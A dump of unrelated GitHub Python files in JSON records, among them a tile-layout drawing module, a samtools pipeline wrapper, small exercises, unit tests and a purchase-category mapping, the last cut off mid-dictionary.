width=line_width)\n\n # рисуем полосы по width (y)\n curr_y = size[1] / 2 + tile_size[1] / 2\n draw.line((0, curr_y, size[0] - 1, curr_y), fill=line_color, width=line_width)\n while curr_y >= 0:\n curr_y -= tile_size[1]\n draw.line((0, curr_y, size[0] - 1, curr_y), fill=line_color, width=line_width)\n\n curr_y = size[1] / 2 + tile_size[1] / 2\n draw.line((0, curr_y, size[0] - 1, curr_y), fill=line_color, width=line_width)\n while curr_y <= size[1]:\n curr_y += tile_size[0]\n draw.line((0, curr_y, size[0] - 1, curr_y), fill=line_color, width=line_width)\n elif method == LAYING_METHOD_DIAGONAL:\n # представим наклонную грань плитки гипотенузой прамоугольного треугольника.\n # находим длину прилежащего катета через угол (45) и длину противолежащего.\n b = center_y\n alpha = 45.0\n a = b * tanh(alpha)\n\n # находим диагональ плитки\n if tile_width == tile_length:\n d = sqrt(2) * tile_width\n else:\n d = sqrt(tile_length**2 + tile_width**2)\n d /= scale_factor\n d05 = d/2\n\n # находим выступ за границами объекта для начала рисования наклонных линий:\n # сдвигаемся от центра на полплитки + суммарную длину диагоналей целых плиток,\n # добавляем длину прилежащего катета (a).\n m = ((ceil((center_x-d05)/d) * d) + d05) - center_x\n m = -(m+d*2)\n curr_x = m\n\n while curr_x < size[0] or curr_x-a < size[0]:\n draw.line((curr_x-a, 0, curr_x+a, size[1]-1), fill=line_color, width=line_width)\n draw.line((curr_x + a, 0, curr_x - a, size[1] - 1), fill=line_color, width=line_width)\n curr_x += d\n\n # curr_x = m\n # while curr_x < size[0] or curr_x - a < size[0]:\n # draw.line((curr_x + a, 0, curr_x - a, size[1] - 1), fill=line_color, width=line_width)\n # curr_x += d\n else:\n raise Exception(\"Unknown drawing method\")\n\n # рисуем периметр\n if method == LAYING_METHOD_DIAGONAL:\n line_color = color_cutted # весь периметр - гарантировано обрезан\n draw.line((0, 0, size[0] - 1, 0), fill=line_color, width=line_width)\n draw.line((0, size[1] - 1, size[0] - 1, size[1] - 1), fill=line_color, width=line_width)\n draw.line((0, 0, 0, size[1] - 1), fill=line_color, width=line_width)\n draw.line((size[0] - 1, 0, size[0] - 1, size[1] - 1), fill=line_color, width=line_width)\n\n return image\n\n\n@add_text_watermark(DRAWING_WATERMARK_TEXT)\ndef draw_walls(width, length, height, tile_length, tile_height, door_width=None, door_height=None):\n \"\"\"DEPRECATED: use draw_bathroom instead\"\"\"\n\n scale_factor = 9.0 # TODO: need compute this\n perimetr = (length+width)*2\n\n size = (sys.maxsize, sys.maxsize)\n while any(s > 1000 for s in size):\n scale_factor += 1.0\n size = (int(perimetr/scale_factor), int(height/scale_factor)) # scale 10sm=100mm : 1px.\n\n d_length = int(length/scale_factor)\n d_width = int(width/scale_factor)\n d_height = int(height/scale_factor)\n\n tile_size = (int(tile_length/scale_factor), int(tile_height/scale_factor))\n\n if door_width and door_height:\n d_door_width = int(door_width/scale_factor)\n d_door_height = int(door_height/scale_factor)\n\n image = Image.new('RGBA', size, (255, 255, 255, 255))\n draw = ImageDraw.Draw(image)\n\n # single method\n line_color = (255, 0, 0, 255)\n side_color = (0, 0, 255, 255)\n door_color = (0, 255, 0, 255)\n line_width = 1\n\n\n # draw door on the third wall\n if door_width and door_height:\n start_door_x = length + width + length/2 - door_width/2\n d_start_door_x = int(start_door_x/scale_factor)\n\n draw.rectangle((d_start_door_x, d_height, d_start_door_x + d_door_width, d_height-d_door_height), fill=door_color)\n\n # draw.line((d_start_door_x, d_height, d_start_door_x, d_height-d_door_height), fill=door_color, width=2)\n # draw.line((d_start_door_x+d_door_width, d_height, d_start_door_x+d_door_width, d_height - d_door_height), fill=door_color, width=2)\n #\n # draw.line((d_start_door_x, d_height-d_door_height, d_start_door_x+d_door_width, d_height - d_door_height), fill=door_color, width=2)\n # draw.line((d_start_door_x, d_height-1, d_start_door_x+d_door_width, d_height-1), fill=door_color, width=2)\n\n # tile_in_door_x = ceil(start_door_x/tile_length) * tile_length\n # draw.ellipse((tile_in_door_x/scale_factor - 5, d_height - 5, tile_in_door_x/scale_factor + 5, d_height + 5), fill=(255, 45, 33, 255))\n\n # рисуем контур развертки всех стенок\n draw.line((0, 0, size[0] - 1, 0), fill=line_color, width=line_width)\n draw.line((0, size[1]-1, size[0] - 1, size[1] - 1), fill=line_color, width=line_width)\n\n draw.line((0, 0, 0, size[1] - 1), fill=line_color, width=line_width)\n draw.line((size[0]-1, 0, size[0] - 1, size[1] - 1), fill=line_color, width=line_width)\n\n laying_direction_y = -1 # TODO: need to use\n\n # рисуем плитки по length\n curr_x = 0\n while curr_x < size[0]:\n draw.line((curr_x, 0, curr_x, size[1]-1), fill=line_color, width=line_width)\n curr_x += tile_size[0]\n\n # рисуем плитки по height\n curr_y = 0\n while curr_y < size[1]:\n draw.line((0, size[1] - curr_y, size[0]-1, size[1] - curr_y), fill=line_color, width=line_width)\n\n curr_y += tile_size[1]\n\n # рисуем стыки стен\n draw.line((d_length, 0, d_length, size[1]-1), fill=side_color, width=2)\n draw.line((d_length+d_width, 0, d_length+d_width, size[1] - 1), fill=side_color, width=2)\n draw.line((2*d_length+d_width, 0, 2*d_length+d_width, size[1] - 1), fill=side_color, width=2)\n\n return image\n\n\ndef draw_bathroom(l, w, h, d, tw, th, door_size=None):\n \"\"\" Возможно следует добавить расчет \"максимум целых плиток\"\n :param l:\n :param w:\n :param h:\n :param d:\n :param tw:\n :param th:\n :return:\n \"\"\"\n draw = Draw()\n\n WIDTH_HD = 1280\n HEIGHT_HD = 720\n\n contour_length = l/100.0 * 3.0 # 3%\n wall_del_px = contour_length * 3 # расстояние между краями схем стен\n padding_px = l/100.0 * 8.0\n\n # найдем ожидаемые размеры (в мм) которые может занять схема\n max_size = Size(\n width=((w+l)*2) + (wall_del_px * 3) + (padding_px * 2),\n height=h + (contour_length*2)\n )\n\n print(max_size)\n\n canvas = Canvas(\n WIDTH_HD, HEIGHT_HD,\n max_size=max_size\n )\n\n options = {\n 'contour_out': {\n 'length': canvas.to_pixels(contour_length)\n }\n }\n\n wall_del_px = canvas.to_pixels(wall_del_px)\n # print(\"wall del px=\", wall_del_px)\n padding_px = canvas.to_pixels(padding_px)\n # print(\"padding px=\", padding_px)\n\n draw_offset = Position(\n # WIDTH_HD/2 - canvas.to_pixels(max_size.width)/2,\n padding_px,\n HEIGHT_HD/2 - canvas.to_pixels(max_size.height)/2\n )\n\n # print(canvas.to_pixels(max_size.width) + padding_px)\n\n wall = Wall(l, h, tile=WallTilesOptions(tw, th, d, sx=None), options=options)\n draw.draw(canvas, [PositionalObject(wall, draw_offset)])\n wo = wall.get_tile_options()\n # print(\"Wall#1:\\n\\tsx={} sy={} mx={} my={}\".format(wo.start_x, wo.start_y, wo.max_x, wo.max_y))\n\n tile_start_from_x = wall.get_tile_options().max_x\n draw_offset.x += canvas.to_pixels(wall.width) + wall_del_px\n wall = Wall(w, h, tile=WallTilesOptions(tw, th, d, sx=tile_start_from_x), options=options)\n draw.draw(canvas, [PositionalObject(wall, draw_offset)])\n wo = wall.get_tile_options()\n # print(\"Wall#2:\\n\\tsx={} sy={} mx={} my={}\".format(wo.start_x, wo.start_y, wo.max_x, wo.max_y))\n\n tile_start_from_x = wall.get_tile_options().max_x\n draw_offset.x += canvas.to_pixels(wall.width) + wall_del_px\n if door_size is not None:\n options['door_width'] = door_size.width\n options['door_height'] = door_size.height\n wall = Wall(l, h, tile=WallTilesOptions(tw, th, d, sx=tile_start_from_x), options=options)\n draw.draw(canvas, [PositionalObject(wall, draw_offset)])\n wo = wall.get_tile_options()\n # print(\"Wall#3:\\n\\tsx={} sy={} mx={} my={}\".format(wo.start_x, wo.start_y, wo.max_x, wo.max_y))\n\n tile_start_from_x = wall.get_tile_options().max_x\n draw_offset.x += canvas.to_pixels(wall.width) + wall_del_px\n options['door_width'] = None\n options['door_height'] = None\n wall = Wall(w, h, tile=WallTilesOptions(tw, th, d, sx=tile_start_from_x), options=options)\n draw.draw(canvas, [PositionalObject(wall, draw_offset)])\n wo = wall.get_tile_options()\n # print(\"Wall#4:\\n\\tsx={} sy={} mx={} my={}\".format(wo.start_x, wo.start_y, wo.max_x, wo.max_y))\n\n # FIXME: little hack!!!\n real_width = draw_offset.x + canvas.to_pixels(wall.width) + padding_px\n if real_width < max_size.width:\n canvas.im = canvas.im.crop((0, 0, real_width, HEIGHT_HD))\n canvas.im.resize((WIDTH_HD, HEIGHT_HD))\n\n # print(real_width)\n\n draw.draw_wm(canvas)\n\n return canvas\n\n\ndef calc_cost(count, price):\n \"\"\"Вычисляет необходимую стоимость простым умножением.\n Точность 2 знака.\n :param count:\n :param price: price of one tile.\n :return:\n \"\"\"\n return round(count * price, 2)\n","repo_name":"zeezdev/tile-cutter-drawing","sub_path":"draw/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":15279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72779719451","text":"#!/usr/bin/env python\n\nimport argparse\nimport logging\nimport os\nimport sys\nimport sqlalchemy\nimport subprocess\nimport pandas as pd\n#\nimport pipe_util\nimport df_util\nimport time_util\n\n#\n\ndef main():\n parser = argparse.ArgumentParser('BAM to SAM conversion',\n description = 'Use samtools to convert a SAM to BAM.',\n )\n\n # Logging flag\n parser.add_argument('-d', '--debug',\n action = 'store_const',\n const = logging.DEBUG,\n dest = 'level',\n help = 'Enable debug logging.',\n )\n parser.set_defaults(level = logging.INFO)\n\n # Required flags\n parser.add_argument('-b', '--bam_path',\n required = True,\n help = 'Path to BAM file.',\n )\n parser.add_argument('-o', '--output_name',\n required = True,\n help = 'Desired name for output SAM.',\n )\n parser.add_argument('-u', '--uuid',\n required = True,\n help = 'UUID/GDC_ID for the harmonized BAM.',\n )\n parser.add_argument('-r', '--barcode',\n required = True,\n help = 'BAM barcode',\n )\n \n\n # Optional DB Flags\n parser.add_argument('-y', '--db_cred_s3url',\n required = False,\n help = 'String s3url of the postgres db_cred file',\n )\n parser.add_argument('-z', '--s3cfg_path',\n required = False,\n help = 'Path to the s3cfg file.',\n )\n \n args = parser.parse_args()\n\n bam_path = args.bam_path\n output_name = args.output_name\n uuid = args.uuid\n barcode = args.barcode\n\n if args.db_cred_s3url:\n db_cred_s3url = args.db_cred_s3url\n s3cfg_path = args.s3cfg_path\n else:\n db_cred_s3url = None\n\n logger = pipe_util.setup_logging('mir_profiler_samtools', args, uuid)\n \n if db_cred_s3url is not None:\n conn_dict = pipe_util.get_connect_dict(db_cred_s3url, s3cfg_path, logger)\n engine = sqlalchemy.create_engine(sqlalchemy.engine.url.URL(**conn_dict))\n else: #local sqllite case\n sqlite_name = 'mir_profiler_samtools' + uuid + '.db'\n engine_path = 'sqlite:///' + sqlite_name\n engine = sqlalchemy.create_engine(engine_path, isolation_level='SERIALIZABLE')\n\n # Convert the BAMs to SAMs if they do not already exist\n logger.info('Beginning: BAM to SAM conversion')\n BAMtoSAM_CMD = ['samtools', 'view', '-h', bam_path, '-o', output_name]\n shell_BtS_CMD = ' '.join(BAMtoSAM_CMD)\n output = pipe_util.do_shell_command(shell_BtS_CMD, logger)\n df = time_util.store_time(uuid, shell_BtS_CMD, output, logger)\n df['bam_name'] = barcode\n unique_key_dict = {'uuid': uuid, 'bam_name': barcode}\n table_name = 'time_mem_mir_samtools_view'\n df_util.save_df_to_sqlalchemy(df, unique_key_dict, table_name, engine, logger)\n logger.info('Completed: BAM to SAM conversion')\n\nif __name__ == '__main__':\n main()\n \n","repo_name":"dmiller15/mirna-profiler","sub_path":"py-tools/mir_samtools.py","file_name":"mir_samtools.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30066130597","text":"\"\"\"\r\n\n\nJake is a very habitual person. He eats breakfast at 7:00 a.m. each morning,\nlunch at 12:00 p.m. and dinner at 7:00 p.m. in the evening.\n\nCreate a function that takes in the current time as a string and determines\nthe duration of time before Jake's next meal. Represent this as a list with\nthe first and second elements representing hours and minutes, respectively.\n\n### Examples\n\n time_to_eat(\"2:00 p.m.\") ➞ [5, 0]\n // 5 hours until the next meal, dinner\n \n time_to_eat(\"5:50 a.m.\") ➞ [1, 10]\n // 1 hour and 10 minutes until the next meal, breakfast\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef time_to_eat(current_time):\n split = current_time.index(\":\")\n hour = int(current_time[:split])\n if current_time[-4::] == \"p.m.\":\n hour += 12\n mins = int(current_time[split+1:split+3])\n if hour < 7:\n hoursuntil = 6 - hour\n minsuntil = 60 - mins\n elif hour < 12:\n hoursuntil = 11 - hour\n minsuntil = 60 - mins\n elif hour < 19:\n hoursuntil = 18 - hour\n minsuntil = 60 - mins\n else:\n hoursuntil = 30 - hour\n minsuntil = 60 - mins\n if minsuntil == 60:\n minsuntil = 0\n hoursuntil += 1\n return [hoursuntil, minsuntil]\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"FSRLWWcvPRRdnuDpv_7.py","file_name":"FSRLWWcvPRRdnuDpv_7.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35661645330","text":"import unittest\n\nfrom maspsx import MaspsxProcessor\n\nfrom .util import strip_comments\n\n\nclass TestGpRel(unittest.TestCase):\n def test_gp_rel_load_with_offset(self):\n lines = [\n \"\t.comm\tsavedInfoTracker,16\",\n \"\tlw\t$4,savedInfoTracker+4\",\n \"\tlw\t$2,savedInfoTracker+8\",\n ]\n expected_lines = [\n \"lw\\t$4,%gp_rel(savedInfoTracker+4)($gp)\",\n \"lw\\t$2,%gp_rel(savedInfoTracker+8)($gp)\",\n ]\n\n mp = MaspsxProcessor(\n lines,\n sdata_limit=65536,\n )\n res = mp.process_lines()\n\n clean_lines = strip_comments(res)\n self.assertEqual(expected_lines, clean_lines[:2])\n\n def test_gp_rel_store_with_offset(self):\n lines = [\n \"\t.comm\tsavedInfoTracker,16\",\n \"\tsw\t$4,savedInfoTracker+4\",\n \"\tsw\t$2,savedInfoTracker+8\",\n ]\n expected_lines = [\n \"sw\\t$4,%gp_rel(savedInfoTracker+4)($gp)\",\n \"sw\\t$2,%gp_rel(savedInfoTracker+8)($gp)\",\n ]\n\n mp = MaspsxProcessor(\n lines,\n sdata_limit=65536,\n )\n res = mp.process_lines()\n\n clean_lines = strip_comments(res)\n self.assertEqual(expected_lines, clean_lines[:2])\n","repo_name":"mkst/maspsx","sub_path":"tests/test_gp_rel.py","file_name":"test_gp_rel.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"20316249897","text":"from selenium.webdriver import Chrome\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support.expected_conditions import (\n new_window_is_opened,\n number_of_windows_to_be # Check if window number is different\n)\n\n# Setting page\nurl = 'https://selenium.dunossauro.live/aula_11_b.html'\nb = Chrome()\nb.get(url)\nb.maximize_window()\n\n# Setting WebDriverWait\nwdw = WebDriverWait(b, 60)\n\nbtn = b.find_element(By.CSS_SELECTOR, '#popupd')\nprint(btn.text)\nbtn.click()\n\nwdw.until(\n new_window_is_opened(b.window_handles),\n 'Windon not found!'\n)\nwdw.until(\n number_of_windows_to_be(2)\n)\nprint('Open the new Window')","repo_name":"Gabriel-limadev/selenium_study_with_python","sub_path":"6_Janelas_abas_alertas_frames/1_windows_and_tabs/1_window_with_wait.py","file_name":"1_window_with_wait.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6756473696","text":"number_one=input(\"Enter first numer: \")\r\nnumber_two=input(\"Enter second numer: \") #ye dono string mn hungy\r\ntotal=number_one+number_two\r\nprint(\"Total is \"+total) #numbers string mn hai tbhi total bhi string hai r tbhi concatenate hu rha hai\r\n#If we enter number_one: 4 number_two: 6 then total will 46 because of string\r\n\r\n#Now for numbers we use int() function for int value and float for float() value\r\nnumber_one=int(input(\"Enter first numer: \"))\r\nnumber_two=float(input(\"Enter second numer: \")) \r\ntotal=number_one+number_two #Now it will show the sum\r\nprint(\"Total is \"+str(total)) #total concatenate ni hu skta tabhi string mn change kiya \r\n#int r float value aps mn calculatoin perform kr skte hain pr result value float mn hugi\r\n#str 4--->\"4\"\r\n#int \"4\"--->4\r\n#float \"4\"--->4.0\r\n\r\n","repo_name":"siraiwaqarali/Python-Learning","sub_path":"Chapter-02/intAndfloatFunction.py","file_name":"intAndfloatFunction.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"20027362634","text":"import sys\nfrom PyQt5.QtWidgets import QWidget,QTableView,QApplication,QVBoxLayout,QHBoxLayout\nfrom PyQt5.QtGui import *\nfrom Mysql_manager import *\n\n\nclass Example(QWidget):\n def __init__(self):\n super().__init__()\n\n def setupUi(self):\n # MVC 模式 mode添加数据源 viewer qtableview实例 通过controller控制\n self.model = QStandardItemModel(3,4)\n title = ['姓名','部门','IP','MAC']\n self.model.setHorizontalHeaderLabels(title) # 设置表格抬头\n\n self.tableview = QTableView() # 设置viewer\n self.tableview.horizontalHeader().setStretchLastSection(True)\n # self.tableview.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n\n # 将M和C进行关联\n self.tableview.setModel(self.model)\n\n\n # 给表格添加数据(给model添加数据)\n mm = Mysql_manager('localhost','root','root',3306,'milkbottle')\n with mm:\n sql = 'select * from em_info'\n mm.cur.execute(sql)\n result = mm.cur.fetchall()\n # for i in result:\n # print(i[2])\n m = 0\n for i in result:\n item0 = QStandardItem(i[0]) # 分别取得姓名 部门 ip mac\n item1 = QStandardItem(i[1])\n item2 = QStandardItem(i[2])\n item3 = QStandardItem(i[3])\n self.model.setItem(m,0,item0)\n self.model.setItem(m,1,item1)\n self.model.setItem(m,2,item2)\n self.model.setItem(m,3,item3)\n m += 1\n\n\n # 设置布局 不加这三行不显示列表控件\n self.layout = QVBoxLayout()\n self.layout.addWidget(self.tableview)\n self.setLayout(self.layout)\n self.resize(600,600)\n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Example()\n ex.setupUi()\n sys.exit(app.exec_())\n\n","repo_name":"sammiriche/datacode","sub_path":"9.信息管理系统/15.信息台帐管理7.0_gui测试/testTableview.py","file_name":"testTableview.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18686220279","text":"import os\nimport geopandas\n\nimport streamlit as st\nimport plotly.express as px\n\n\nfrom scripts import data_functions as defs\nfrom scripts import streamlit_structure as stf\n\n\nst.set_page_config(layout='wide')\n\n\ndef attributes_distributions(data):\n # --- Price Distribution\n # --- ==================\n st.title('Distributions')\n st.header('Price Distribution')\n\n st.sidebar.title('Distributions')\n st.sidebar.subheader('Select Max Price')\n\n min_price = int(data['price'].min())\n max_price = int(data['price'].max())\n mean_price = int(data['price'].mean())\n\n f_price = st.sidebar.slider('Price', min_price, max_price, mean_price)\n\n df = data.loc[data['price'] < f_price]\n\n fig = px.histogram(df, x='price', nbins=50)\n st.plotly_chart(fig, use_container_width=True)\n\n # --- Distribution per Physical Features\n # --- ==================================\n st.sidebar.subheader('Select Max Bedrooms')\n f_bedrooms = st.sidebar.selectbox('Max Number of Bedrooms', sorted(set(data['bedrooms'].unique())))\n\n st.sidebar.subheader('Select Max Bathrooms')\n f_bathrooms = st.sidebar.selectbox('Max Number of Bathrooms', sorted(set(data['bathrooms'].unique())))\n\n st.sidebar.subheader('Select Max Floors')\n f_floors = st.sidebar.selectbox('Max Number of Floors', sorted(set(data['floors'].unique())))\n\n st.sidebar.subheader('Has Water View?')\n f_waterview = st.sidebar.checkbox('Yes')\n\n c1, c2 = st.columns((1, 1))\n\n c1.header('Houses per Bedrooms')\n df = data[data['bedrooms'] < f_bedrooms]\n\n fig = px.histogram(df, x='bedrooms', nbins=19)\n c1.plotly_chart(fig, use_container_width=True)\n\n c2.header('Houses per Bathrooms')\n df = data[data['bathrooms'] < f_bathrooms]\n\n fig = px.histogram(df, x='bathrooms', nbins=19)\n c2.plotly_chart(fig, use_container_width=True)\n\n c1, c2 = st.columns((1, 1))\n\n c1.header('Houses per Floors')\n df = data[data['floors'] <= f_floors]\n\n fig = px.histogram(df, x='floors', nbins=19)\n c1.plotly_chart(fig, use_container_width=True)\n\n c2.header('Houses per Waterview')\n if f_waterview:\n df = data[data['waterfront'] == 1]\n else:\n df = data.copy()\n\n fig = px.histogram(df, x='waterfront', nbins=10)\n c2.plotly_chart(fig, use_container_width=True)\n\n return None\n\n\nif __name__ == '__main__':\n # ETL\n # Extraction\n if os.path.isfile('./datasets/Zip_Codes.geojson'):\n geo_data = geopandas.read_file('./datasets/Zip_Codes.geojson')\n\n if os.path.isfile('datasets/kc_house_data.csv'):\n df = defs.load_dataset('datasets/kc_house_data.csv')\n\n # Creating Overview Data Section\n stf.create_overview_data_section(df)\n\n # Creating Portifolio Density Section\n stf.create_portifolio_desinty_section(df, geo_data)\n\n # Creating Commercial Section\n stf.create_commercial_attributes_section(df)\n\n # TODO:\n # Creating Distributions\n stf.create_distribuition_overview_section(df)\n\n else:\n st.title('Data File (CSV) is missing.')\n else:\n st.title('GEO Data File is missing.')\n","repo_name":"PedroFerraresi/houserocket","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17111628776","text":"import os\nos.system('clear')\n\nfrom sympy import isprime\n\nn = 63\n\ndef ehprimo(n):\n if isprime(n) == True:\n return n\n else:\n n += 2\n\nwhile True:\n d = divmod(2**(n-1),n)\n if d[1] == 1:\n break\n else:\n ehprimo(n)\n\nos.system('clear')\nprint(n)","repo_name":"weltonvaz/Primos","sub_path":"myrabin.py","file_name":"myrabin.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38879321205","text":"#!/usr/bin/python\n\nfrom azuremodules import *\n\n\nimport argparse\nimport sys\nimport time\n #for error checking\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-e', '--expected', help='specify expected DiskSize in Byte', required=True)\nargs = parser.parse_args()\n #if no value specified then stop\nexpectedDiskSize = args.expected\n\ndef RunTest(expectedSize):\n UpdateState(\"TestRunning\")\n RunLog.info(\"Checking DiskSize...\")\n osDisk = GetOSDisk()\n output = Run(\"fdisk -l | awk '/\" + osDisk + \"/ {print $5;}' | awk 'NR==1'\")\n ActualSize = float(output)\n\n if (ActualSize < expectedSize*1.1 and ActualSize > expectedSize*0.9) :\n RunLog.info('/dev/sda disk size is: %s', output)\n ResultLog.info('PASS')\n UpdateState(\"TestCompleted\")\n else :\n RunLog.error('Getting the Disk SizeError over 10 percent different from Original OSImage: %s', output)\n ResultLog.error('FAIL')\n UpdateState(\"TestCompleted\")\n\nRunTest(float(expectedDiskSize))\n","repo_name":"Azure/azure-linux-automation","sub_path":"remote-scripts/BVT-VERIFY-DISKSIZE.py","file_name":"BVT-VERIFY-DISKSIZE.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"32"} +{"seq_id":"37110866783","text":"\r\n\r\ndef drukuj(a, b):\r\n\r\n print(\"Pracujesz\",a , \"lat(a) i zarabiasz\" , a*b , \"zł\")\r\n \r\n\r\ndef awans(c, d):\r\n c = c + 1\r\n d *= 1.1\r\n return (c, d)\r\n \r\ndef main(args):\r\n\r\n zarobek = 1000\r\n lata = int(input(\"Ile lat będziesz pracować? \"))\r\n staz = lata\r\n\r\n drukuj(staz, zarobek)\r\n staz, zarobek = awans(staz, zarobek)\r\n print(\"Po roku: \")\r\n drukuj(staz, zarobek)\r\n\r\n return 0\r\n\r\n\r\nif __name__ == '__main__':\r\n import sys\r\n sys.exit(main(sys.argv))\r\n","repo_name":"Jakub-Wrona/Projekt1.01","sub_path":"pajton/cw_funkcje01.py","file_name":"cw_funkcje01.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8659726697","text":"import asyncio\nfrom ModuleLoader import *\nfrom queue import Queue\nimport json\nfrom base64 import b64decode\nclass LeaderMeerkats(asyncio.Protocol):\n tmp=b''\n def __init__(self):\n try:\n\n self.messageType = {\n \"data\":\"data\",\n \"control\":\"control\",\n \"file\":\"file\"\n }\n\n except Exception as e:\n print(str(e))\n\n def connection_made(self, transport):\n peername = transport.get_extra_info('')\n print(\"Connection made From : {peer}\".format(peer=peername))\n self.transport = transport\n\n def data_received(self, data):\n\n self.tmp += data\n tmp_dict = self.tmp.split(b'\\\\0')\n # b'\\\\0' 패킷 단위 구분자\n # b'\\\\1' 패킷의 완성본인지 구분 - '}'로 구분해버리면 다중 json 문제가 생길 수 있다\n\n for x in tmp_dict:\n if not x.endswith(b'\\\\1'):\n self.tmp = x\n else:\n packet = json.loads(x.replace(b'\\\\1', b'').decode())\n\n self.Classification(packet)\n\n print('Data received: {!r}'.format(data))\n\n #종류에 따라 작업이 필요한 경우 사용\n def Classification(self,message):\n packet_type =self.messageType[message['type']]\n if packet_type == 'file':\n self.InsertCave(message)\n elif packet_type == 'control':\n self.InsertCave(message)\n elif packet_type == 'data':\n self.InsertCave(message)\n else:\n log.info('Unknown Message : %s'%message)\n # Relay로 보내면 되서 굳이 저장할 필요성 없으나 만약 저장해야하는 정책이 있다면 사용\n # def ReceiveFile(self,message):\n # global file_tmp\n #\n # # 잘라낸 바이너리에 구분자가 있는지\n # # 잘라낸 바이너리가 한개일때 구분자가 있는가 없는가\n #\n #\n # if message['max_cnt'] == message['cnt']:\n #\n # f = open(\"%s\" % message['file'], 'wb')\n # if message['data'] != b'':\n # tm = file_tmp + b64decode(message['data'].encode('utf8'))\n # else:\n # tm = file_tmp\n # f.write(tm)\n # del file_tmp[message['file']]\n # self.InsertCave()\n # else:\n # if message['cnt'] == 1:\n # file_tmp[message['file']] =b''\n # file_tmp += b64decode(message['data'].encode('utf8'))\n #\n\n def InsertCave(self,message):\n MeerkatsStore.lpush(self.messageType[message['type']],json.dumps(message))\n","repo_name":"skollhati/Meerkats","sub_path":"LeaderMeerkats.py","file_name":"LeaderMeerkats.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5285638177","text":"from range_key_dict import RangeKeyDict\n\n\n# The default Mint category.\nDEFAULT_MINT_CATEGORY = 'Shopping'\n\n# The default return category.\nDEFAULT_MINT_RETURN_CATEGORY = 'Returned Purchase'\n\n# A range-based nested dictionary that represents UNSPSC category codes mapped\n# to the Mint category taxonomy. Nodes can be either a RangeKeyDict (meaning\n# look another level deeper during lookup), or a str, meaning this cateogory is\n# valid for this sub-tree of the UNSPSC taxonomy. For each sub-level, 00 is\n# used to denote a default category (or can be '(0, 1):' as a key).\nUNSPSC_TO_MINT_CATEGORY = RangeKeyDict({\n (10, 11): RangeKeyDict({\n (0, 1): 'Lawn & Garden',\n (10, 11): 'Pets',\n (11, 15): 'Pet Food & Supplies',\n (16, 17): 'Arts', # Fabric\n }),\n (13, 14): 'Home Supplies',\n (14, 15): RangeKeyDict({\n (11, 12): RangeKeyDict({\n (0, 1): 'Office Supplies',\n (17, 18): 'Home Supplies', # Paper products like TP, paper towels\n }),\n }),\n (15, 16): 'Home Supplies',\n (20, 25): 'Home Supplies',\n (25, 26): 'Service & Parts', # Auto\n (26, 27): 'Electronics & Software', # Batteries/cables\n (27, 28): 'Home Improvement', # Tools\n (30, 32): 'Home Improvement', # Building mtls/plumbing/hardware/tape/glue\n (32, 33): 'Electronics & Software', # Computers!\n (39, 40): 'Furnishings', # Lights and lighting accessories/cords\n (40, 41): RangeKeyDict({ # Mostly home improvement/parts\n (0, 1): 'Home Improvement',\n (16, 17): RangeKeyDict({\n (15, 16): RangeKeyDict({\n (4, 6): 'Service & Parts', # Car oil/air filters\n }),\n }),\n }),\n (41, 42): 'Home Supplies', # Tools and measurement equip\n (42, 43): 'Personal Care', # Medical\n (43, 44): 'Electronics & Software', # Computers/networking/cables/gaming\n (44, 45): 'Office Supplies',\n (45, 46): 'Electronics & Software', # Cameras and AV gear\n (46, 47): RangeKeyDict({\n (0, 1): 'Home Improvement', # Security cams/smoke detectors/etc\n (18, 19): 'Clothing', # Gloves and other personal consumables\n }),\n (47, 49): 'Home Supplies',\n (49, 50): 'Sporting Goods',\n # Mostly groceries. Lots of Amazon fresh groceries are simply: 50000000\n (50, 51): 'Groceries',\n (51, 52): 'Personal Care',\n (52, 53): RangeKeyDict({\n (0, 1): 'Home Supplies',\n (14, 15): DEFAULT_MINT_CATEGORY, # Random - revert to Shopping\n (16, 17): 'Electronics & Software', # More AV/audio/speaker gear\n }),\n (53, 54): RangeKeyDict({\n (0, 1): 'Clothing',\n (13, 14): 'Personal Care',\n }),\n (54, 55): 'Clothing',\n (55, 56): RangeKeyDict({\n (10, 11): 'Books',\n (11, 12): RangeKeyDict({\n (15, 16): RangeKeyDict({\n (12, 13): 'Music',\n (14, 15): 'Movies & DVDs',\n }),\n }),\n (12, 13): 'Office Supplies',\n }),\n (56, 57): RangeKeyDict({\n (0, 1): 'Home Supplies',\n (10, 11): RangeKeyDict({\n (16, 17): 'Lawn & Garden',\n (17, 18): 'Furnishings',\n (18, 